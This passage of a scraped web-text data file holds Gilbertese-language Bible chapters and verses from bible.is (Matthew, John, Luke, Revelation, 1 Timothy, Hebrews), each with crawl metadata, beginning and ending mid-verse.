buakaka ngaia, ao ane na kangai i nanona, E waeremwe n roko au toka; 49ao e moana batiboaia raona nako n toro, ao e am'arake ma ni moi ma ake a roko ni manging. 50Ane na roko ana toka te toro arei n te bong are e aki kaantaningaia te toro, ao n te aoa ae e aki ataia, 51ao e na kataerea ni karawawataa, ao e na kaki i rarikiia taani m'am'ana-te-aba, n te tabo ike a na tang iai aomata ma n tenai riaia b'a kaotan ae a rotaki n te maraki ae korakora.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/24","date":"2016-09-28T09:22:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661327.59\/warc\/CC-MAIN-20160924173741-00002-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1330,"character_repetition_ratio":0.052,"word_repetition_ratio":0.005,"special_characters_ratio":0.258,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A roko iroun Iesu ana reirei n te tai naba arei, ao a taku, \"Antai te kabanea ni kakannato n Uean te Atua?\" 2Ao E wetea te teei temanna ae uarereke, ao e kaki i buakoia, 3ao E taku: E koaua ae I a tuangngkami, b'a ngkana kam aki bitii aromi ao kam aki katotoong aroia ataei, ao kam na bon aki kona n rin n Uean te Atua. 4Ane kamangoria n ai aron te teei aei, ao boni ngaia ae te kabanea ni kakannato n Uean te Atua. 5Ane m'anea n akoa te teei ae ai aron aei, n arau, ao e m'aneai n akoai. 6Ma ane kaira temanna i buakoia aika uarereke aikai, aika onimakinai, nakoni karaoan te bure, ao e raoiroi riki nako ina b'a e na katineaki te atibu ae rawawata i roroana, ao e na kaiinakoaki i marawa. 7E na reke kain te aonnaba i bukini b'aai ni kab'akab'aka nakon te bure. B'a e riai b'a a na roko kariri, ma e na reke kain te aomata are karokoi kariri! 8Ao ngkana e kairiko baim ke waem nakoni karaoan te bure, ao koreia, ao tewea nako; e raoiroi riki i roum ngkana ko rin n te maiu ngkana ko m'auku, ke ngkana e uruaki b'ain rab'atam teuana nakon teweakinakom nakon te ai are aki mamate ma uaai baim, ke uaai waem. 9Ao ngkana e kairiko matam nakoni karaoan te bure, ao ko na autia, ao tewea nako; e raoiroi riki i roum ngkana ko rin n te maiu ma matam ae ti teuana nakon teweakinakom ma matam aika uoua nakon te ai are i Keenna. 10Kam na kawakiningkami b'a kam na aki kakeaa bonganan temanna i buakoia aika uarereke aikai; b'a I taku nako imi, b'a a aki toki aia anera i karawa n rooroko iroun Tamau are i karawa. 11B'a E roko Natin te Aomata b'a E na kamaiuia akana bua. 12Tera ami iango? Ngkana tebubua ana tiibu te aomata temanna, ao e tiotio nako temanna mai buakoia, tiaki b'a e na kitaniia ake ruangauni ma ruaman i aoni maunga ao e nako ni kakaaea are temanna are tiotio nako? 13Ao ngkana e reke i rouna, ao e koaua ae I a tuangngkami, b'a e kim'areirei riki i bukin te tiibu arei, nakoia ake ruangauni ma ruaman ake aki tiotio nako. 14Ao ai aron naba Tamami are i karawa, b'a E aki tangira temanna i buakoia aika uarereke aikai b'a e na tiotio nako mai Rouna. 15Ngkana e bure tarim nako im, ao ko na nako ni kaota ana bure nako ina n te tai ae ti ngkoe iai ma ngaia. Ngkana e ongo i roum, ao kam a manga okiri aromi n tari. 16Ma ngkana e aki ongo i roum, ao ko na kaira raom temanna, ke uoman, b'a a na riki b'a taani kakoaua nakon am taeka ni kabane ake ko bukinna iai. 17Ma ngkana e aki ongo i rouia, ao ko na taekinna nakon te ekaretia; ao ngkana e rawa n ongo iroun te ekaretia, ao atongnga b'a te ianena ao te tia anai taekiti. 18E koaua ae I a tuangngkami b'a akana kam tabui i aonnaba, ao a na manga katabuaki i karawa; ao akana kam kariai i aonnaba, ao a na manga kariaiaki i karawa. 19Ao I a manga taku nako imi b'a ngkana a bo nanoia uoman i aonnaba i bukin te b'ai ae a kani bubuti iai, ao e na karaoaki i bukiia iroun Tamau are i karawa. 20B'a ike a botaki iai uoman ke teniman n arau, ao Ngai I mena naba iai i buakoia. 21Ao e roko ngkanne Betero iroun Iesu ao e taku, \"Te Uea, m'aitira ana tai ni bure tariu nako iu ae N na kab'ara ana bure iai? Itiua te tai?\" 22E taku Iesu nako ina: I aki taku nako im b'a itiua te tai, ma itibwi m'aitin itiua. 23B'a Uean te Atua e a kona ni kabotauaki ma te uea are kani kaeti mwin ana b'ai ma ana toro, ake iai mwiokoaia aika ab'ab'aki riki nakoia raoia n toro nako. 24Ngke e moana ana kaeti-b'ai, ao e kairaki nako ina temanna ae riai b'a e na anganna 50 te mirion te m'ane ae te tirewa. 25ao i bukina ngke e aki kona ni kab'aka, ao e tua te uea b'a e na kabooaki nako ma buuna ma natina ma ana b'ai ni kabane ake iai i rouna, b'a e aonga n reke booni mwin are e aki kona ni kab'aka. 26Ma ngaia are e b'aka ni bobaraaki ni katorobubua te toro arei ni karinea, ao e bubutiia ni kangai, Te uea, ko na taona nanom b'a ae N na bon anganiko am b'ai ni kabane. 27Ao te uea e nanoanga ana toro arei, ma ngaia are e kanakoa, ao e kamaunaa ana tarau. 28Ao te toro aei, ngke e nako, ao e kaitibo ma raona n toro temanna ae iai ana tarau i rouna ae m'aitina tebubua te tenari; ao e taua ni koona roroana, ao e taku, Kamai kab'aran am tarau i rou. 29Ao raona n toro e b'aka ni katorobubua, ao e bubutiia ni kangai, \"Ko na taona nanom b'a ae N na bon anganiko.\" 30Ma e rawa; ao e nako ni kaki teuarei n te karabuuti b'a e na tiku iai ni karokoa e bane ni kab'ara ana tarau. 31Ngke a nora te baere riki uake raona n toro, ao a rangi ni kuba ma ni mimi iai, ao a nako n tuanga aia uea taekani b'aai ni kabane ake a karaoaki. 32Ao e weteia ana uea, ao e taku nako ina, \"Te toro ae ko buakaka! I kamaunai am tarau ni kabane ake iai i rou i bukina ngke ko butiai; 33ao tiaki b'a ko riai n nanoanga raom n toro, n ai arou ngke I nanoangaiko?\" 34Ao e un ana uea, ao e anga te toro arei nakoia taani kamaraki n te karabuuti b'a e na mena i rouia ni karokoa e bane ni kab'ara ana tarau. 35Ao anne naba aron are E na karaoia nako imi Tamau are i karawa ngkana kam aki kab'ara aia bure tarimi mai nanomi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/18","date":"2016-09-26T08:09:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660709.12\/warc\/CC-MAIN-20160924173740-00182-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1024,"character_repetition_ratio":0.047,"word_repetition_ratio":0.012,"special_characters_ratio":0.256,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I taratara nako, ao noria, te Tiibuteteei ae tei i aon te maunga are Tion, ao raona te koraki ae tebubua ma abwi ma aua tengaa m'aitiia aika a koreaki i aon ram'aia aran te Tiibuteteei ma aran Tamana. 2Ao I ongo te b'ana mai karawa ae ai aroni karongoaani b'aron naao aika bati, ao ai aron rebwen te baa ae korakora; ao kanga ai aron tangin taian aabi aika katangaki irouia taani katang-aabi; 3ao a anenea te anene teuana ae kanga te anene ae boou, i nanoaan te kaintokanuea ao i mataia baike a maiu ma unimm'aane; ao akea temanna ae kona n reireia te anene arei, b'a ti te koraki ake 144,000 ake a tia ni kamaiuaki mai buakoia kaain aon te aba. 4Te koraki aei bon ake a aki kam'araeaki irouia aine, b'a roronga ngaiia aika tuai ni bo ma aine. Boni ngaiia ake a irira te Tiibuteteei nako ike E nako iai. A a tia ni kamaiuaki mai buakoia kaain aonnaba, ao a riki b'a ana aomata te Atua ma te Tiibuteteei: ti te bo ngaiia ma moa n uaa ake a anga aomata nakon te Atua b'a ana b'ai. 5A babanga ni kewe; akea aia kairua. 6Ao I nora te anera temanna b'a e kibakiba i eta ike e rietaata i aani karawa, ao iai i rouna te rongorongo ae e raoiroi n aki totoki are e na tataekinna nakoia aomata ake a mena i aon te aba, ao nakoia botannaomata ni kabaneia ma baronga ma natanaomata ma aomata nako aika a kakaokoro aia taetae. 7Ao e kaangai n te b'ana ae korakora, \"Kam na maka te Atua, ao kam na anganna te neboaki. B'a e a roko te aoa are E na motiki taeka iai. Kam na taromauria Teuare karaoa karawa ma aonnaba ma marawa ma koburaken raan.\" 8Ao te anera temanna, ae te kauoman, e ri mwin are te moa n anera, ao e kaangai, \"E a b'aka, e a b'aka B'aburon are te kaawa are kakannato, are kamoiia botannaomata ni kabaneia n ana wain, are bon nanona ae korakora ni kani wene ni bure.\" 9Ao te anera riki temanna ae te kateniman, e ri mwin are te kauoman, ao e kaangai n te b'ana ae korakora, \"Ngkana e taromauriaki te man arei ma te bouananti are katotongana iroun te aomata temanna, ao ngkana e kanikinaeaki te aomata anne i aon ram'ana ke i aoni baina, 10ao e na moi n ana wain te Atua, are wainin unna, are E a tia ni kab'aroaki n aki renganaki nako nanoni m'angkon unna; ao e na b'ainikirinaki ni kamarakaki n te ai ma te burimton i mataia anera ake a raoiroi, ao i matan te Tiibuteteei. 11Ao e aetorake n aki totoki bubun te ai are a b'ainikirinaki ni kamarakaki iai; ao akea motirawaia ni ngaina ao ni bong te koraki ake a taromauria te man ma te bouananti are katotongana, ao te koraki ake a anganaki kanikinaean arana.\" 12Aei te nanom'aka ae kaantaningaki mairouia ake a itiaki, ake a tauu ana tua te Atua, ma ni kakaonimaki nakon Iesu. 13Ao I ongo te b'ana mai karawa b'a e kaangai, \"Ko na korea ae kaangai, A a kab'aia maate akana mate ma ngkai, n aki raure ma aia Uea.\" E taku te Tamnei, \"Bon te koaua, b'a a na motirawa man aia m'akuri ae korakora; b'a a airi taekan aia m'akuri ma ngaiia.\" 14Ao I taratara nako, ao noria, te nang ae mainaina! E tekateka temanna i aon te nang arei, ao te aomata arei ai aron Natin te Aomata, ao iai te baunuea ae te koora i aon atuna, ao iai te biti ni koro uita ae kakang i nanoni baina. 15Ao e oti nako te anera temanna man te Tembora, ao e taetae n te b'anaa ae korakora nakon Teuare tekateka i aon te nang, ao e kaangai, \"Ko na karina am biti i buakon uita, ao koroi, b'a e a roko tain te koro uita; a tawaa raoi uaa i aon te aba, ao e a roko aia tai n taiaki.\" 16Ao Teuare tekateka i aon te nang E katioa ana biti i aon te aba, ao a taiaki uaa i aon te aba. 17Ao e oti nako te anera temanna man te Tembora are i karawa, ao iai naba i rouna ana biti ae kakang. 18Ao e oti nako te anera temanna man te baonikarea; ngaia ae taua taekan te ai. Ao e taetae n te b'ana ae korakora nakon te anera are iai ana biti are kakang, ao e kaangai, \"Ko na kabongana am biti ane kakang, ni korei amwini kureeben aon te aba; b'a a tawaa amwi ni kureebe.\" 19Ao te anera e katioa ana biti i aon te aba, ao e korei amwini kureeben aon te aba, ao e kaaki i nanoni nen taonani kureebe are ab'ab'aki are ana b'ai unin te Atua. 20Ao e toutouaki b'ain taonani kureebe i tinanikun te kaawa, ao e ti nako te raraa mai iai, ao e raanga nako tao uabubua te maire, ao rietana tao nimaua te buti mai aontano.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/14","date":"2016-09-30T22:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662400.75\/warc\/CC-MAIN-20160924173742-00234-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":850,"character_repetition_ratio":0.069,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E koaua te taeka ae kaangai: Ngkana e kan riki te aomata b'a te mataniwi n te ekaretia, ao e rinea te m'akuri ae e raoiroi. 2E riai iroun te mataniwi n te ekaretia b'a a na akea arona ae na kabuakakaki iai; e riai n ti temanna buna, e na taua baangina, e na b'aina te nanowanawana, e na rabakau te aroaro, e na akoia iruwa, ao e na rabakau n reireiia aomata; 3e na aki riki b'a te tia manging, ke te tia oro; ma e na taotaona nanona n aki un, ao e na tai baki tianti. 4E na riai n rabakau n tau aroia oin ana utu n te aro ae riai, ao e riai n taraia natina b'a a na aan taeka ma te aro ni karinerine n aaro nako. 5B'a ngkana e babanga te aomata n tau aroia kaain oin ana utu, ao e na kanga ni kawakina ana ekaretia te Atua? 6E riai n ikawai i nanon te onimaki, b'a e kaawa ni kaonaki nanona n te kainikatonga ao e motikaki taekana ni karawaawataaki, n aron te riaboro. 7E riai n riki b'a te aomata ngaia ae karineaki irouia aomata aika tiaki kaain te ekaretia, b'a e kaawa ni kamangoraki arona ao e b'aka i nanon ana b'ai ni kam'am'ane te riaboro. 8Ao ai aroia naba taani buobuoki, a na taua ma nanoia, a na taekina te koaua, a na tai manging, ao a na tai kani b'aib'ai n te aro ae aki riai! 9A na teimatoa n onimakina te baere raba are b'ain te onimaki ma mataniwin nanoia ae itiaki. 10A riai naba ni kakoauaki moa, ao ngkana a noraki b'a a tau, ao a na m'akuri. 11Ao ai aroia naba aine aika taani buobuoki a na aki b'aina te bakanrerei, a na tai winanti, a na tau baangiia, a na kakaonimaki nakoni b'aai ni kabane. 12A riai ni kaka temanna buia taani buobuoki ao a na rabakau n tauu aroia natiia ma oin aia utu n te aro ae riai. 13B'a taani buobuoki aika karaoa raoi aia m'akuri a karekei nneia aika raraoi, ao a kona n taekina taekan onimakinan Kristo Iesu i rouia ma te ninikoria. 14Ngkai I koroi baikai nako im, ao I kaantaninga b'a N na roko i roum i nanon te tai ae aki maan. 15Ma ngkana I waeremwe, ao baika I koroi a na tuangko te aroaro ae riai ni b'ainaki i buakoia ana utu te Atua, ae ana ekaretia te Atua ae maiu, ae te ekaretia ae taua te koaua mai aana b'a bouana ao aana. 16Ao ti kaotia b'a e kakannato te baere raba are b'ain te Aro ni Kristian: E kaoti n rab'ata, E kakoauaki iroun te Tamnei b'a e eti arona, E noraki irouia anera, E tataekinaki nakoia aomata ni kabaneia; E onimakinaki irouia aomata nako i aonnaba, E uotaki rake ni mimitong.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/3","date":"2016-09-26T14:52:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660801.77\/warc\/CC-MAIN-20160924173740-00208-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":482,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai temanna te aomata ae raoia B'aritaio, ae arana Nikotemo; ngaia naba aia mataniwi I-Iutaia. 2E nako n Iesu n te tairiki teuana, ao e taku nakoina, \"Te Tia Reirei, ti ataiko b'a te tia reirei ae Ko nako mai mairoun te Atua: b'a e aki kona te aomata ni karaoi m'akuri aika kamimii aika Ko karaoi, ngkana E aki mena i rouna te Atua.\" 3E kaeka Iesu ao E taku, \"Bon te koaua ae I a tuangko b'a ngkana e aki manga bungiaki\" te aomata, ao e aki kona n nora uean te Atua. 4E taku Nikotemo nakoina, \"E na kanga ni manga moa ni bungiaki te aomata ngkana e a kara? E aki kona ni manga rin i nanoni biroton tinana b'a e na manga bungiaki!\" 5E taku Iesu, \"Bon te koaua ae I a tuangko, b'a ngkana e aki bungiaki te aomata n te ran ma te Tamnei 6E riki te maiu n rab'ata iroun te aomata mairouia ana karo, ma maiuna n tamnei e riki mairoun te Tamnei 7Tai mimi n au taeka are kaangai nako im, Kam riai ni manga bungiaki. 8E kare te ang nakon te tabo are e kani kare nako iai; ko ongo karongoana, ma ko aki ata te tabo are e kare mai iai, ao te tabo are e nako iai. Aei aroia naba aomata nako ake a bungiaki iroun te Tamnei 9E kaeka Nikotemo ao e taku nakoina, \"E na kanga n riki ae ai aron aei?\" 10E kaeka Iesu ao E taku nakoina, \"Te tia reirei ngkoe i buakoia Iteraera, ao ko aki atai naba baikai? 11Bon te koaua ni koaua ae I a tuangko: b'a ti taekina ae ti ataia, ao ti kaota ae ti noria; ao kam aki kaaki i nanomi ara rongorongo. 12Ngkana I tuangngkami b'ain aon te aba, ao kam aki kakoauaai iai, ao kam na kanga ni kakoauaai ngkana I tuangngkami b'aini karawa? 13Akea te aomata ae rierake nako karawa, ma bon ti Teuae ruo mai karawa, ae Natin te Aomata.\" 14B'a aroni Mote ngke e katokaa te naeta are te buraonti i tabon te kai are e kateia rake i nanon te rereua, ao ai aron naba are e na karaoaki nakon Natin te Aomata, 15b'a e aonga n reke iroun ane onimakinna te maiu are aki toki. 16B'a E tangira aonnaba te Atua n te aro are E anga natina ae te rikitemanna iai, b'a e aonga n aki mate ane onimakinna, ma e na reke i rouna te maiu are aki toki. 17B'a E aki kanakoa Natina te Atua nako aon te aba b'a E na motika taekana, ma E kanakoa b'a e na kamaiuaki te aba i rouna. 18Ane onimakina Natina ao e aki motikaki taekana; ma ane aki onimakinna, ao e motikaki taekana i bukina b'a e aki onimakina aran Natin te Atua ae te rikitemanna. 19Ao aio te b'ai ae e motikaki taekan te aba iai: b'a e a roko te oota i aon te aba, ao aomata a tangira riki te roo nakon te oota, i bukina ngkai a bubuaka aia m'akuri. 20B'a ane kakaraoa ae buakaka ao e ribaa te oota, ao e aki nako n te oota, b'a a kaawa ni kaotaki ana m'akuri b'a a bubuaka. 21Ma ane b'aina te koaua ao e nako n te oota, b'a a na kaotaki ana m'akuri b'a a karaoaki ma te ongeaba nakon te Atua. 22I mwini baikekei ao E nako Iesu ma ana reirei nakon te aba are Iutaia, ao E tiku iai ma ngaiia, ao E b'ab'abetito. 23E b'ab'abetito naba Ioane i Ainon are e kaani ma Tarim, b'a e bati te ran iai. A roko aomata ao a b'abetitoaki i rouna. 24E karaoa aei Ioane i m'aini kainakina i nanon te karabuuti. 25A kauntaeka ana reirei Ioane ma te I-Iutaia temanna i bukini katein aia Aro are kaeti ma aron te kaitiaki. 26A roko iroun Ioane ao a kaangai nakoina, \"Te tia reirei, ko nora teuare mena ma ngkoe i mainikun Ioretan, are ko tataetae i bukina? Ae mena ngkai ikai ni b'ab'abetito, ao a bane aomata n nakoina!\" 27E kaekaia Ioane ao e taku, \"Akea te b'ai ae kona n riki nakon te aomata, ma ti ngkana E karaoia te Atua b'a e na riki. 28Bon taani kakoaua ngkami i buku n au taeka ake a kaangai, 'Tiaki te Kristo ngai, ma I kanakoaki n ri moana.' 29Teuare e mena i rouna te aine ae a tib'a iein, ao bon te tia iein; ao raoraon te tia iein are te mm'aane, e teitei ao e rangi ni kim'areirei ngke e ongo b'anaan te tia iein. Ao aei bukin ae I rangi ni kim'areirei iai. 30E riai n rikirake kakannatona, ao kakannatou e na kerikaki.\" 31Teuare nako mai karawa E kakannato riki nakoia aomata ni kabaneia. Ane nako mai aon te aba, ao boni kaain aon te aba, ao e taekini b'ain aon te aba; ma Teuare nako mai karawa e kakannato riki nakoia aomata ni kabaneia. 32E riki Ngaia b'a te tia kakoaua nakoni baike E a tia n noori ao n ongo, ma akea ae e butim'aea ana rongorongo. 33Ane butim'aea ana rongorongo ao e kaotia ae e kakoaua b'a E koaua te Atua. 34B'a Teuare E kanakoa te Atua ao boni Ngaia ae E taekin ana taeka te Atua, i bukina b'a E anganaki te Tamnei iroun te Atua n aki tiatianaki. 35E tangira te Nati te Tama, ao E a tia ni kaaki b'aai ni kabane i aani m'akana. 36Ane onimakina te Nati ao e reke i rouna te maiu are aki toki; ao ane aki ongotaeka nakon te Nati, ao e na aki reke i rouna te maiu, ma e memena unin te Atua i aona.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/John\/3","date":"2016-09-26T01:22:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660467.49\/warc\/CC-MAIN-20160924173740-00191-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":958,"character_repetition_ratio":0.05,"word_repetition_ratio":0.008,"special_characters_ratio":0.256,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7ma ti te ibonga ae kakannato ae rin nako n te tabo are moanibaan te tabu; ao ti teuana ana tai ni karaoa aei n teuana te ririki, ao uotana ni katoa tai te raraa ae e na anga bon i bukina, ao i bukin naba aia bure aomata.\nEBERA 9:7\nFREE!\nOne App.\n1208 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/7","date":"2016-09-29T21:07:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661915.89\/warc\/CC-MAIN-20160924173741-00060-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:88Ko kaki b'aai ni kabane i aani waena.\" B'a ngke E kaki b'aai ni kabane i aana, ao bon akea ae E katikua n aki kaki i aana. Ma ngkai, ti tuai n nori b'aai ni kabane i aana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/8","date":"2016-10-01T11:22:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662705.84\/warc\/CC-MAIN-20160924173742-00234-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":0.9999636412,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999963641166687}","num_words":55,"character_repetition_ratio":0.169,"word_repetition_ratio":0.0,"special_characters_ratio":0.274,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I ongo te b'ana ae korakora man te Tembora, b'a e kaangai nakoia anera ake itiman, \"Kam na nako ni kab'aroi i aon te aba kanoani boora ake itiua ake booran unin te Atua.\" 2Ao e nako te moa n anera, ao e kab'aroa kanoan ana boora i aon te aba; ao e riki iai te kaboa ae buakaka ae kamaraki irouia aomata ake a kanikinaeaki n ana kanikina te man arei, ao i rouia naba ake a taromauria te bouananti are katotongana. 3Ao te anera are te kauoman e kab'aroa kanoan ana boora i marawa; ao e riki n raraa marawa, kanga ai aron raraan te aomata ae mate; ao a bane ni mate maan ake i marawa. 4Ao te anera are te kateniman e kab'aroa kanoan ana boora i nanoni karaanga ma koburaken raan; ao a riki n raraa raniia. 5Ao I ongo b'anaan aneran raan, b'a e kaangai, \"Ko eti n am moti i bukini baikai, Ngkoe ae Ko tabu, are iai ngkai ao iai ngkoa. 6B'a aomata a katinakoi raraaia te koraki ake a itiaki ma burabeti; ao Ko a tia n anganiia te raraa b'a a na moi iai. A riai n reke kaiia.\" 7Ao I ongo te b'ana man te baonikarea, b'a e kaangai, \"Eng, te Uea ae te Atua, ae Moan te M'aka, a koaua am moti ao a eti.\" 8Ao te anera are te kaaman e kab'aroa kanoan ana boora i aon taai; ao e kariaiakaki b'a e na kabuokiia aomata ni korakoran riringana. 9Ao a bue aomata n te riringa ae korakora; ao a taetaebuaka aran te Atua, ae tauu aroni b'aai ni kamamate akekei; ao a aki rairi nanoia, n anganna te neboaki. 10Ao te anera are te kaniman e kab'aroa kanoan ana boora i aon ana kaintokanuea te man arei; ao e riki n roo aon taabo ake e uea iai, ao aomata a tenatenai neweia b'a a kainano ni maraki; 11ao a taetaebuaka Atuani karawa i bukini marakiia ma kaboaia; ao a aki rairaki ni kitan aia m'akuri aika bubuaka. 12Ao te anera are te kaonoman e kab'aroa kanoan ana boora i nanon te karaanga are ab'ab'aki are te Iuberetiti; ao e oora n akea ranna, b'a e aonga ni katauraoaki kawaia uea ake mai mainiku. 13Ao I nooriia tamnei aika teniman aika kam'ara aika ai aroia biraoki, b'a a oti nako mai wiin te rakon, ao mai wiin te man arei, ao mai wiin te burabeti ni kewe arei: 14bon tamneia taimonio aika kakaraoi kanikina; ao a kawariia uea nako i aonnaba, b'a a na ikotiia nakon te buaka n te Bong are kakannato are ana bong te Atua ae Moan te M'aka. 15\"Noria, ae N na roko n ai aron te tia ira! E a kab'aia ane kamarurungnga ni kawakini kunnikaina, b'a e kaawa n nakonako n akea karabaana ao e mamaa ngkana e noraki.\" 16Ao a ikotiia uea nako n te tabo ae aranaki n te taetae n Ebera b'a Aremaketon. 17Ao te anera are te kaitiman e kab'aroa kanoan ana boora i aon te ang; ao e nako te b'ana man te baonikarea are n te Tembora, ao e kaangai, \"E a tia!\" 18Ao e itiiti, ao e rebwetata ma n rurunga te baa, ao e riki te m'aeiei ae korakora i aon te aba, ae te m'aeiei ae akea n ai arona ma ngke e moa ni mena te aomata i aonnaba: boni moan te korakora te m'aeiei aei. 19E tabwena te kaawa are ab'ab'aki nakoni m'akoro aika tenua, ao a bane n urubekebeke taiani kaawa nako n aaba nako: ao te Atua E aki m'aninga taekani B'aburon are kakannato, ma ngaia are E anganna m'angkoni wain n unna b'a e na moi iai. 20Ao a bane abam'akoro ni biri nako, ao a aki manga noraki maunga. 21Ao aomata a b'akaraki mai karawa n te karau ae matoatoa, ae taian aiti aika bububura, aika tao kaka tebubua te rawawata rawawataia ke e raka riki; ao a taetaebuaka te Atua i bukin te karau n aiti are kamamate; b'a e bon rangi ni kamamate.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/16","date":"2016-10-01T11:26:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662705.84\/warc\/CC-MAIN-20160924173742-00236-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":682,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai naba arei, ao a roko aomata tabeman n tuanga Iesu taekaia I-Kariraia ake e rengan raraaia Birato ma raraani maan ake karea. 2Ao E kaekaia ni kangai, Kam taku b'a a buakaka riki I-Kariraia akekei nakoia I-Kariraia ni kabaneia i bukin ae a kamarakaki n te aro aei? 3I taku nako imi, A aki! ma ngkana kam aki rairi nanomi, ao kam na bane ni mate n ai aroia. 4Ao tera aroia aomata ake tengauni ma waniman, ake a b'akaraki n te auti ae te taua i Tiroam, ao a mate iai; kam taku b'a a buakaka riki nakoia aomata ni kabaneia ake a maeka i Ierutarem? 5I tuangngkami, A aki; ma ngkana kam aki rairi nanomi, ao kam na bane ni mate n ai aroia. 6Ao E taekina te karaki ni kabotau aei: Iai te aomata temanna ae iai ana biku ae unikaki i nanoni nen ana kureebe; ao e roko b'a e na ukoukori uaana iai, ma akea ae e kunei. 7Ao e taku nakon te tia ribana, \"Noria, ai tenua te ririki n nako ae I rooroko iai n ukoukori uaa n te biku aei, ao akea ae I kunea. Ko na koreia ni kab'aka! Bukin tera b'a e na kabanebuakaa te am'arake man te tano?\" 8Ao e kaeka ni kangai, \"Te uea, Ko na katikua riki teuana te ririki, b'a N na keniken ri rarikina ao N na ribanaia. 9Ao ngkana e kariki uaa n ana tai n uaa, ao e na rangi n raoiroi; ma ngkana e aki, ao ko a kona ni koreia ni kab'aka.\" 10E reirei Iesu ni m'aneabaia I-Iutaia teuana n te Taabati. 11Ao noria, e mena iai te aine ae iai i rouna te anti ae kaaorakaki i rouna i nanon ririki aika tebwi ma wanua; e b'aoua nuukana ao e aki kona ni kaeta raoi rab'atana. 12Ngke E nora neierei Iesu, ao E weteia ao E taku nako ina, \"Neiko, ko a kamaiuaki man aorakim.\" 13Ao E kaaki baina i aona, ao e a eti ngkekei naba nuukana, ao e karaoiroa te Atua. 14Ao e un te tia taua taekani m'aneabaia I-Iutaia iroun Iesu ngke E kamaiu n te Taabati, ao e taku nakoia aomata, \"Iai boong aika onoua ake a riai ni karaoaki m'akuri iai; rooko ni boong akanne b'a kam na kamaiuaki iai, ma tiaki n te bong ae te Taabati.\" 15Ma E kaeka te Uea ni kangai, \"Ngkami aika taani m'am'ana te aba! Tiaki kam bane ni kab'arai rooia ami kao ma ami aati mani neia n am'arake n te Taabati ao kam kairiia nako ni kamoiia? 16Ao te aine aei, ae natin Aberaam, ae e kabaeaki i nanon tebwi ma wanua te ririki iroun Tatan, tiaki b'a e riai b'a 